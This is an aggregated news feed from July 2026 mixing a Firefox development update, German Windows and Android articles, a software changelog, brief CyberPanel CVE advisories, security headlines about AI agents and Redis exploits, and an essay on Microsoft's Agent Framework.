The browser environment globals within ESLint have now been updated. These include Sanitizer, VideoFrame and a few other new ones.
Temporal, and some other definitions have been added to TypeScript.

New Tab Page

Much has happened in the last 2 weeks! Here’s a full bug list, and here are some highlights.
Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (2033592) — prevents accidental list creation and improves the Lists UI reliability.
Maxx Crawford fixed Weather widget small card layout issues with opt-in location options and an error message displayed, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.
Reem Hamoui added key dates state to the Sports widget, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.
Scott Downe added a manage widgets option to the New Tab nova widgets context menu, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.
Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see Newtab widget base component.
Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see Convert widget expansion handling to shared widget expansion.
Nina Pypchenko [:nina-py] updated the Sports widget to populate the “follow teams” state from the /teams endpoint, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.
Scott Downe moved widget menu items within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.
Dre fixed a World Clock city search bug for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.
Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see Newtab small weather widget size change doesn’t always work.
Nina Pypchenko [:nina-py] added a group stage section to match highlights in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.
Dre fixed the small world clock widget not expanding to large while editing clocks so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.
Maxx Crawford added WCW OMC message strings so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.
Reem Hamoui added a “View all” button and a list view for the results tab at medium widget size so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.
Maxx Crawford added WCW “Watch Live” stream strings to the Sports widget strings bundle so the widget can surface a localized “Watch Live” CTA for applicable events.
Dre restored VoiceOver reachability for Edit/Remove in World Clock on macOS so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.
Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (2041033).
Mike Conley added New Tab jest tests to the node tests Tier 1 CI job Run newtab jest tests as part of node tests Tier 1 job to catch regressions earlier in CI
Irene Ni shipped multiple visual fixes for the Sports widget Sports widget – various visual fixes (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.

Picture-in-Picture

kpatenio adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably, especially when selecting videos from the YouTube search page.
Thanks to Sylvestre for patching some bugs to prevent some spurious console errors!
Niklas fixed captions on autopip videos failing to sync with the origin videos.

Performance Tools (aka Firefox Profiler)

Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.

https://www.npmjs.com/package/@firefox-devtools/profiler-cli
You can install it with npm install -g @firefox-devtools/profiler-cli@latest



Search and Urlbar
Nova UI refresh

Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.
2019154, 2019152, 2041501, 2040532

Suggest

Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.
2040561, 2039753, 2035614, 2038843

Adaptive autofill

James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.
2040819, 2037177

Quick actions

Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.
Caleb added Calculator support for certain unicode operators.
2023169, 1928635, 1923383, 2033861

Multi Context Address Bar

Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.
2039297, 2036095, 2039844, 2037933, 2030050

Other

Marco, Drew and Daisuke fixed several intermittent test failures.
2038510, 2023908, 2011584, 1938142, 1971091

Search

Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from resource://search-extensions/.
Caleb fixed multiple documentation issues and added a test covering searches from a private window.
1904613, 2035878, 2037942, 2033545, 2005724

Places

Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.
Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.
2039534, 1505800, 2008829, 2029541, 2035084






Windows Recovery: Microsoft veröffentlicht fünf neue WinRE-Updates
Sat, 25 Jul 2026 08:12:30 +0200
Microsoft hat frische dynamische Updates für unterschiedliche Windows-Versionen veröffentlicht. Die Aktualisierungen bringen Verbesserungen für die Windows-Wiederherstellungsumgebung WinRE und das Setup mit. (Weiter lesen)


Neue Recovery-Updates für Windows 11, 10 und Server stehen bereit
Sat, 25 Jul 2026 08:05:13 +0200
Microsoft liefert frische dynamische Updates für die Windows-Wiederherstellungsumgebung aus. Dieses Mal erhalten sowohl unterschiedliche Varianten von Windows 11 als auch mehrere Versionen von Windows 10 und Windows Server die Patches. (Weiter lesen)


Windows Recovery: Microsoft startet neue Updates für Windows 11 & 10
Sat, 25 Jul 2026 07:56:41 +0200
Microsoft stellt jetzt neue dynamische Updates für die Windows-Wiederherstellungsumgebung WinRE bzw. SafeOS bereit. Sowohl Windows 11 als auch Windows 10 und mehrere Versionen von Windows Server erhalten frische Aktualisierungen. (Weiter lesen)


Vorsicht vor gefälschten E-Mails im Namen des Finanzamts - businessportal24
Sat, 25 Jul 2026 00:46:28 +0200
BackupChain Stellt Neues Hyper-V Backup Für Windows Server 2025 Als Ve... 23:44 ...


BackupChain Stellt Neues Hyper-V Backup Für Windows Server 2025 Als Veeam-Alternative Vor
Sat, 25 Jul 2026 00:46:25 +0200
BackupChain bietet neues Hyper-V Backup für Windows Server 2025 mit optimierter Deduplizierung, schneller Recovery und Deep Verification ...


v1.18.5
Sat, 25 Jul 2026 00:31:21 +0200
Core
Bugfixes

Improve Claude adaptive thinking handling across more response shapes.
Avoid OpenAI Responses phase handling that could break some conversations.
Preserve grep symlink paths in search results. (@remixz)
Preserve Mistral reasoning history across turns.
Stabilize Mistral prompt caching.
Use the correct prompt cache keys for each SDK.
Fix MiniMax M3 thinking variant selection.

Desktop
Improvements

Support the current server terminal transport.
Support current-server review data in the desktop app.
Update server discovery flows for current servers.
Support current-server session actions, including prompts and commands.
Render current-server session timelines.
Stream current-server events in the desktop app.
Detect legacy and current servers so the desktop app can work with both.

Bugfixes

Restore optimistic timeline updates while responses are still streaming.
Hide legacy-only features when connected to current servers.
Preserve inline file mentions when sending prompts to legacy servers.
Stop auto-accepting config permissions on current servers.
Keep current servers out of the legacy layout.
Show plain file contents in file-specific tabs instead of review diffs.
Keep the prompt input agent toggle in sync.
Keep paginated session timelines in the right order.
Restore directory-scoped session status for legacy servers.
Reload legacy session progress after hydration.

Thank you to 2 community contributors:

@dleopold:

fix(app): classify existing web profiles for layout transition (#38117)


@remixz:

fix(opencode): preserve grep symlink paths (#38581)





LEAD: Breaking the No-Recovery Bottleneck in Long-Horizon Reasoning
Fri, 24 Jul 2026 17:50:44 +0200
Long-horizon execution in Large Language Models (LLMs) remains unstable even when high-level strategies are provided. Evaluating on controlled algorithmic puzzles, we demonstrate that while decomposition is essential for stability, extreme decomposition creates a “no-recovery bottleneck”. We show that this bottleneck becomes critical due to highly non-uniform error distribution, where consistent errors on a few “hard” steps become irreversible. To address this, we propose Lookahead-Enhanced Atomic Decomposition (LEAD). By incorporating short-horizon future validation and aggregating…


Google Adds Selfie Video Sign-In to Help Users Recover Locked Accounts
Fri, 24 Jul 2026 17:04:35 +0200
Google added selfie video recovery for eligible accounts, using encrypted videos and liveness checks to help users regain access when locked out. The post Google Adds Selfie Video Sign-In to Help Users Recover Locked Accounts appeared first on TechRepublic. This…
Read more →
The post Google Adds Selfie Video Sign-In to Help Users Recover Locked Accounts appeared first on IT Security News.


Google Adds Selfie Video Sign-In to Help Users Recover Locked Accounts
Fri, 24 Jul 2026 16:46:14 +0200
Google added selfie video recovery for eligible accounts, using encrypted videos and liveness checks to help users regain access when locked out.
The post Google Adds Selfie Video Sign-In to Help Users Recover Locked Accounts appeared first on TechRepublic.


Neues Android-Handy: Diese fünf Einstellungen ändere ich sofort
Fri, 24 Jul 2026 15:35:26 +0200





Jedes neue Android-Smartphone durchläuft bei mir dasselbe Ritual: Noch bevor die erste App startet, klicke ich mich durch fünf Einstellungen, die – wie ich finde – jedes Handy von Werksseite aus schon (de-)aktiviert haben sollte. Welche das sind, zeige ich Schritt für Schritt.



Hinweis: Ich selbst nutze ein Samsung-Smartphone. Die genauen Menüpfade und Bezeichnungen, die Sie in diesem Artikel finden, können bei anderen Android-Herstellern leicht abweichen. Die grundlegenden Funktionen finden Sie aber bei jedem Android-Gerät, meist nur unter leicht anderem Namen oder an anderer Stelle in den Einstellungen.



1. Personalisierte Werbung deaktivieren



Google und viele App-Anbieter verknüpfen Ihr Nutzungsverhalten über eine sogenannte Werbe-ID mit Ihrem Profil, um Anzeigen zuzuschneiden. Ich schalte das ab, weil ich schlicht nicht möchte, dass mein halbes digitales Leben zu Werbezwecken ausgewertet wird:




Öffnen Sie Einstellungen > Sicherheit & Datenschutz > Weitere Datenschutzeinstellungen.



Deaktivieren Sie im Abschnitt Google die Funktion “Android-Personalisierungsdienst” und tippen Sie anschließend auf “Werbung” > “Werbe-ID löschen”.




Damit unterbinden Sie zwar nicht jede Form von Werbung, aber die Anzeigen werden deutlich weniger zielgerichtet auf Sie persönlich ausgespielt. Mehr zu versteckten Tracking-Funktionen von Google lesen Sie hier: Diese Google-Funktion überwacht Sie heimlich – so deaktivieren Sie das.


So viel Datenschutz muss sein: Personalisierte Werbung mitsamt Werbe-ID lässt sich in den Datenschutz-Einstellungen löschen oder deaktivieren.

PC-Welt



Wenn Sie es mit Datentracking ganz genau nehmen, empfehle ich Ihnen, unter myaccount.google.com noch die Aktivitätseinstellungen für Ihr Google-Konto zu prüfen.







2. Sperrbildschirm-Benachrichtigungen ohne Inhalte anzeigen



Standardmäßig zeigt Android Nachrichteninhalte, Absendernamen und teils sogar Codes für die Zwei-Faktor-Authentifizierung direkt auf dem gesperrten Bildschirm an – lesbar für jeden, der Ihr Handy in die Hand nimmt! Das ändere ich als Erstes, sobald ein Gerät neu eingerichtet ist:




Gehen Sie zu Einstellungen > Benachrichtigungen.



Wählen Sie “Inhalt bei Sperrung ausblenden”.



Stellen Sie auf “In gesperrtem Zustand ausblenden”.




Sie können das Ganze auch einzeln pro App festlegen, statt nur systemweit: Öffnen Sie dazu Einstellungen > Apps > [gewünschte App] > Benachrichtigungen und legen Sie dort separat fest, ob Nachrichteninhalte dieser App auf dem Sperrbildschirm angezeigt oder ausgeblendet werden sollen. 



Eine ausführliche Übersicht weiterer Schutzmaßnahmen finden Sie in diesem Ratgeber: Schützen Sie Ihr Smartphone mit diesen 7 Android-Datenschutzeinstellungen.







3. Akku-Optimierung pro App statt pauschalem Sparmodus



Den generischen Energiesparmodus finde ich zu grob, zumal ich Apps habe, die im Sparmodus nicht optimal laufen können. Deshalb schränke ich gezielt die Apps ein, die im Hintergrund unnötig Strom ziehen, und passe ein paar Display-Einstellungen an:




Öffnen Sie zunächst Einstellungen > Akku. Unterhalb der Nutzungsanzeige sehen Sie, welche Apps am meisten Akku verbrauchen. Öffnen Sie nun diese akku-hungrigen Apps unter Einstellungen > Apps > [App] > Akku und stellen Sie die Einstellung von “Nicht eingeschränkt” auf “Optimiert” oder “Eingeschränkt”.



Reduzieren Sie unter Einstellungen > Anzeige die Bildwiederholrate von 90/120 Hertz auf 60 Hertz (bei Samsung “Standard“), falls Sie keine animationsreichen Spiele spielen und auch sonst nicht besonders auf butterweiches Scrollen angewiesen sind. Beim reinen Surfen, Chatten oder Videoschauen fällt Ihnen der Unterschied kaum auf, da Filme und Serien ohnehin überwiegend mit deutlich niedrigerer Bildrate laufen.



Deaktivieren Sie Always-on-Display (unter Einstellungen > Sperrbildschirm und AOD), wenn Sie es ohnehin selten ansehen.




Diese drei Handgriffe bringen im Alltag oft mehr als jeder Sparmodus-Knopf. Hier finden Sie eine vollständige Liste weiterer Stellschrauben: 13 Einstellungen, mit denen Ihr Smartphone-Akku länger hält.


Mit wenigen Klicks erhöhen Sie Ihre Akkulaufzeit sofort. Im Bild zu sehen: Akkuverbrauch (links), Einstellungen für die Bildwiederholrate (Mitte) und deaktiviertes Always-On-Display (rechts).
 
PC-Welt



4. Berührungsempfindlichkeit für Displayschutzfolien aktivieren



Ohne Panzerglasfolie auf dem Display geht bei mir gar nichts. Allerdings kenne ich noch die Zeiten, in denen ich mich mit hakeligen Wischgesten und dem Entsperren per Fingerabdruck herumschlagen musste, weil die Touchscreen-Eingaben durch die Folien stark gedämpft waren.



Eines Tages bin ich auf die Einstellung “Berührungsempfindlichkeit“ gestoßen und – siehe da – alle Folien-Probleme haben sich in Luft aufgelöst. Diese Einstellung ändere ich deshalb bei jedem neuen Handy mit Schutzfolie sofort:




Öffnen Sie Einstellungen > Anzeige.



Suchen Sie den Punkt “Berührungsempfindlichkeit” und aktivieren Sie ihn.




Mit aktivierter Berührungsempfindlichkeit reagiert der Touchscreen wieder so präzise wie ohne Folie. Sie werden den Unterschied sofort bemerken.







5. Automatisches Backup sofort aktivieren



Zum Glück habe ich noch nie ein Backup meiner Daten benötigt, aber allein der Gedanke an ein verlorenes, gestohlenes oder kaputtes Handy ohne Sicherung reicht mir, um bei jedem neuen Gerät sofort vorzusorgen. Denn das Aktivieren geht wirklich super schnell und reibungslos:




Öffnen Sie Einstellungen > Konten und Sicherung.



Falls Sie ein Samsung-Handy haben: Tippen Sie unter Samsung Cloud auf “Daten sichern”, um Kontakte, Kalender, Notizen und App-Daten geräteseitig zu sichern.



Aktivieren Sie zusätzlich im selben Menü das Backup über Google Drive, damit Ihre wichtigsten Daten auch herstellerunabhängig gesichert sind.



Öffnen Sie außerdem Google Fotos und schalten Sie dort separat die automatische Sicherung für Fotos und Videos ein.



Aktivieren Sie bei Bedarf zusätzlich das Backup für Messenger wie Whatsapp (Einstellungen innerhalb der jeweiligen App).




Wie Sie beim Gerätewechsel wirklich alle Daten mitnehmen – inklusive Chatverläufe und Einstellungen –, beschreiben wir in Smartphone-Umzug: So nehmen Sie Ihre Daten mit. Eine komplette Einrichtungs-Checkliste für ein neues Gerät liefert außerdem der Leitfaden So richten Sie Ihr neues Android-Smartphone ein.




Android Update: Neue Google-Apps, Android 17-Flut, neues Backup, Android Auto Tacho und Smart Glasses
Fri, 24 Jul 2026 15:03:08 +0200

Der Juli nähert sich dem Ende und hat uns wieder eine interessante Android-Woche mit vielen Ankündigungen und Einblicken gebracht, die von neuen Betas über neue Google-Apps, Updates für Android Auto und Smart Glasses bis hin zu einer App für iPhone-Wechsler reichen. Aber das ist natürlich längst nicht alles. In unserem wöchentlichen Android Update fassen wir alle aktuellen Entwicklungen noch einmal schnell und übersichtlich zusammen.
Mehr lesen: Android Update: Neue Google-Apps, Android 17-Flut, neues Backup, Android Auto Tacho und Smart Glasses


Keine Google-News mehr verpassen: GoogleWatchBlog bei Google News abonnieren


Der Beitrag Android Update: Neue Google-Apps, Android 17-Flut, neues Backup, Android Auto Tacho und Smart Glasses erschien zuerst auf GoogleWatchBlog.


Experts warn ChatGPT's Workspace Agent Builder can be hijacked to create malicious AI workers
Fri, 24 Jul 2026 14:19:26 +0200
A single phishing link could have spelled disaster, thanks to a flaw in ChatGPT's Agent Builder.


CVE-2026-65916 | usmannasir cyberpanel up to 1.9.1 Backup Creation cancelBackupCreation backupCancellationDomain/fileName improper authorization (WID-SEC-2026-2509)
Fri, 24 Jul 2026 13:43:23 +0200
A vulnerability classified as problematic was found in usmannasir cyberpanel up to 1.9.1. Affected by this issue is the function cancelBackupCreation of the component Backup Creation Handler. The manipulation of the argument backupCancellationDomain/fileName results in improper authorization.

This vulnerability is identified as CVE-2026-65916. The attack can be executed remotely. There is not any exploit available.

A patch should be applied to remediate this issue.


CVE-2026-65917 | usmannasir CyberPanel up to 1.9.1 Incremental Backup Handlers deleteBackup/fetchRestorePoints/restorePoint IncJob resource injection (WID-SEC-2026-2509)
Fri, 24 Jul 2026 13:43:19 +0200
A vulnerability classified as very critical has been found in usmannasir CyberPanel up to 1.9.1. Affected by this vulnerability is the function deleteBackup/fetchRestorePoints/restorePoint of the component Incremental Backup Handlers. The manipulation of the argument IncJob leads to improper control of resource identifiers.

This vulnerability is referenced as CVE-2026-65917. Remote exploitation of the attack is possible. No exploit is available.

It is suggested to install a patch to address this issue.


Forensic Focus Digest, July 24 2026
Fri, 24 Jul 2026 13:42:06 +0200
Explore the impact of cumulative trauma on digital forensic investigators, faster triage with ADF Pro, feature-phone recovery using MSAB XRY Pro, and Katelyn Rogers’ Chip ID Framework and SpecTacular.


wbadmin: Geheimes Backup-Tool in Windows mit wenig Nutzen
Fri, 24 Jul 2026 11:49:19 +0200
In Windows ist mit wbadmin ein kaum bekanntes Backup-Tool enthalten, mit dem Sie Datensicherungen anlegen. Von der Nutzung ist eher abzuraten. Wir gehen auf das Bordmittel ein.


Android: Neue Funktionen im Juli 2026 – ein Überblick
Fri, 24 Jul 2026 11:19:09 +0200





Google ist aktuell dabei, ein neues Google-Play-System-Update auszurollen. Damit erhalten Android-Nutzer monatlich neue Funktionen, die einen direkten Einfluss auf ihr Smartphone haben (unabhängig vom Hersteller).



Die Seite 9to5Google hat die wichtigsten Neuerungen zusammengefasst. Demnach bekommen Android-Nutzer die Option, die Sicherung von SMS-, MMS- und RCS-Nachrichten direkt zu steuern. Das ähnelt der separaten Backup-Einstellung für ausgewählte Apps, die wir Ihnen letzte Woche vorgestellt hatten.



Über Einstellungen > Konten und Sicherung > Google-Sicherung > Weitere Gerätedaten gibt es nach Erhalt des Updates einen neuen Ein-/Aus-Schalter für SMS- und MMS-Nachrichten, Anrufverlauf und Geräteeinstellungen. Sie haben also deutlich mehr Kontrolle darüber, welche Daten Sie über die Google-Cloud speichern wollen.



Das ist auch besonders wichtig, da Google seit Neuestem keine Gratis-Backups für Android-Geräte mehr erlaubt. Jedes Backup Ihres Smartphones zählt also direkt auf Ihr verfügbares Speicherkontingent ein, das in der Gratis-Variante gerade einmal 15 GB sind.



Zusätzlich führt Android nun die lokale Sicherung von Dokumenten ein. Damit können Sie Ihre heruntergeladenen Dokumente automatisch in Google Drive speichern, damit diese sicher und von jedem Ihrer Geräte aus zugänglich sind. Auf der Seite „Sicherung“ erscheint dann neben „Fotos & Videos“ und „Sonstige Gerätedaten“ ein neues Menü namens „Dokumente“.



Google erklärt, dass zu den unterstützten Dateiformaten .DOC, .PPT, .XLS, .PDF “und alle anderen auf diesem Gerät gespeicherten Dokumente” gehören. Dokumente sollen bei der Übertragung zwischen Ihrem Gerät und den Google-Diensten verschlüsselt werden. Änderungen, die an den Dokumenten an einem Ort vorgenommen werden, werden nicht mit anderen Orten synchronisiert.



Mehr Neuerungen



In den Versionshinweisen zu den Google-Systemdiensten finden sich noch mehr kleine Neuerungen, die jetzt an Android-Nutzer ausgerollt werden. Dazu gehören unter anderem die Überarbeitung von In-App-Käufen mithilfe einer “verbesserten, nativen Storefront für Google One”, die Übertragung von Arbeitsprofilen auf Wear-OS-Smartwatches, eine neue Google-Standortfreigabe für Chromebooks sowie „neue Funktionen für Entwickler von Google- und Drittanbieter-Apps zur Unterstützung von Prozessen in ihren Apps im Zusammenhang mit Google Maps”.



All diese neuen Funktionen werden seit dem 6. Juli an Android-Nutzer verteilt. Über Einstellungen > Sicherheit und Datenschutz > Updates > Google Play-Systemupdate können Sie die aktuell installierte Version der Google Play System Updates prüfen und gegebenenfalls auf eine neue Version aktualisieren.



Android 17: Diese Smartphones bekommen das Update




Kimi K3 Agents Found Redis Zero-Days and Built RCE Exploit, Researchers Say
Fri, 24 Jul 2026 11:09:24 +0200
Redis shipped seven security releases on July 23 after researchers published authenticated RCE PoCs for stock Redis 6.2.22, 7.4.9, 8.6.4, and 8.8.0. All four chains require RESTORE. The Streams chains also need EVAL and XGROUP; the 8.8.0 chain needs EVAL…
Read more →
The post Kimi K3 Agents Found Redis Zero-Days and Built RCE Exploit, Researchers Say appeared first on IT Security News.


The Microsoft agent framework wars are over. The real architecture decision starts now
Fri, 24 Jul 2026 11:04:58 +0200

					  
						




Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?



At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.



Looking back, I think we were asking the wrong question. I certainly was.



I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.



Then Microsoft settled it for us. It introduced the unified Agent Framework, quietly moved Semantic Kernel and AutoGen into maintenance mode, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.



What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.



It didn’t change the meal.



The framework was never the hard part



Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?



Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.



The first question I ask now is much smaller. Does this thing actually need an agent?



It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.



Part of this is just that “agent” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.



What building production agents actually taught me



Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.



Context beats model choice



Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.



I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”



The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.



Failure is where the real work is



Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.



I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.



Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.



Identity is the real security boundary



This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.



Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the Model Context Protocol. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.



The surprises weren’t technical



Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.



Build for change, not for today’s winner



I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.



The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.



For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.



I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.



It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.



So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.



Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?



Those questions outlast every rewrite. That’s where I’ve learned to put my effort.



Frameworks come and go. Good architecture has to survive all of them.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Kimi K3 Agents Found Redis Zero-Days and Built RCE Exploit, Researchers Say
Fri, 24 Jul 2026 10:59:27 +0200
Redis shipped seven security releases on July 23 after researchers published authenticated RCE PoCs for stock Redis 6.2.22, 7.4.9, 8.6.4, and 8.8.0.

All four chains require RESTORE. The Streams chains also need EVAL and XGROUP; the 8.8.0 chain needs EVAL and the bundled RedisBloom module. Redis says the underlying memory flaws may lead to remote code execution.

Redis 6.2.23, 7.2.15, and 7.4.10


Google erlaubt Android-Nutzern kein Gratis-Backup mehr: Schonfrist von 45 Tagen
Fri, 24 Jul 2026 10:50:26 +0200





Google wird nun alle Daten von Android-Sicherungskopien auf den Speicherplatz im Google-Konto des Nutzers anrechnen, wie die Seite Engadget berichtet. Bislang wirkten sich lediglich Inhalte in Google Fotos sowie Bilder und Videos in MMS-Sicherungskopien auf das Speicherkontingent aus.



Für neue Android-Nutzer gilt die Änderung seit dem 7. Juli 2026. Für bestehende Nutzer gilt eine Schonfrist von 45 Tagen, bis sie in Kraft tritt. Google informiert Nutzer per Mail dazu:




Wir möchten dich über eine bevorstehende Aktualisierung unserer Speicherrichtlinien informieren. Außerdem führen wir neue Steuerelemente ein, mit denen du deine Android-Sicherungen besser verwalten kannst.



Richtlinienänderung: In 45 Tagen werden alle Daten, die in den Sicherungen deines Android-Geräts enthalten sind, auf das Speicherplatzlimit deines Google-Kontos angerechnet. Fotos und Videos in Google Fotos und MMS-Daten werden bereits jetzt in deinen Google-Kontospeicherplatz einbezogen. Mit dieser Änderung werden auch alle anderen gesicherten Daten wie SMS, Anruflisten, Geräteeinstellungen und App-Einstellungen auf deinen Google-Kontospeicherplatz angerechnet. Nach Inkrafttreten dieser Richtlinie wird deine Gerätesicherung möglicherweise mehr Speicherplatz belegen. Wenn das Speicherplatzlimit deines Google-Kontos überschritten ist, werden automatische Sicherungen pausiert, bis du Speicherplatz freigibst oder dein Abo upgradest.




Laut Google werden die Auswirkungen dieser Änderung recht begrenzt sein. Android-Sicherungskopien werden im Durchschnitt etwa 40 Megabyte zusätzlichen Speicherplatz beanspruchen. Gleichzeitig werden weitere Einstellungen eingeführt, die den Nutzern mehr Kontrolle darüber geben, was gesichert wird.



Zuvor wurde etwa bekannt, dass Android-Nutzer eine wichtige neue Backup-Funktion erhalten, mit der sie selbst entscheiden können, welche App-Daten gesichert werden sollen und welche nicht. Demnächst möchte Google noch einführen, dass Nutzer ihre Geräteeinstellungen, den Anrufverlauf sowie SMS- und MMS-Nachrichten aus dem Sicherungsvorgang ausschließen können.



Es ist erwähnenswert, dass Google im Mai gleichzeitig den kostenlosen Speicherplatz für neue Konten von 15 Gigabyte auf 5 Gigabyte reduziert hat. Es sei denn, der Nutzer verknüpft eine Telefonnummer mit dem Konto.



Je nachdem, wie viele Daten Sie bereits in der Google Cloud gesichert haben, könnte es also eng werden, selbst wenn die Sicherung nur wenige MB groß ist. Oder Sie merken von der Änderung nicht wirklich viel, da Sie ohnehin auf andere Backup-Methoden setzen.



Ein Upgrade auf 100 GB in Google One kostet 1,99 Euro monatlich, 2,99 Euro für 200 GB oder 9,99 Euro monatlich für 2 TB Speicherplatz. Mit enthalten ist auch der Zugriff auf “neue und leistungsstarke Funktionen” in Google Gemini.



Die besten Online-Backup-Dienste im Vergleich: Nie mehr Daten verlieren




Thailand SEC Files Criminal Complaint Against Bitkub Over 2021 Cyberattack
Fri, 24 Jul 2026 09:10:24 +0200
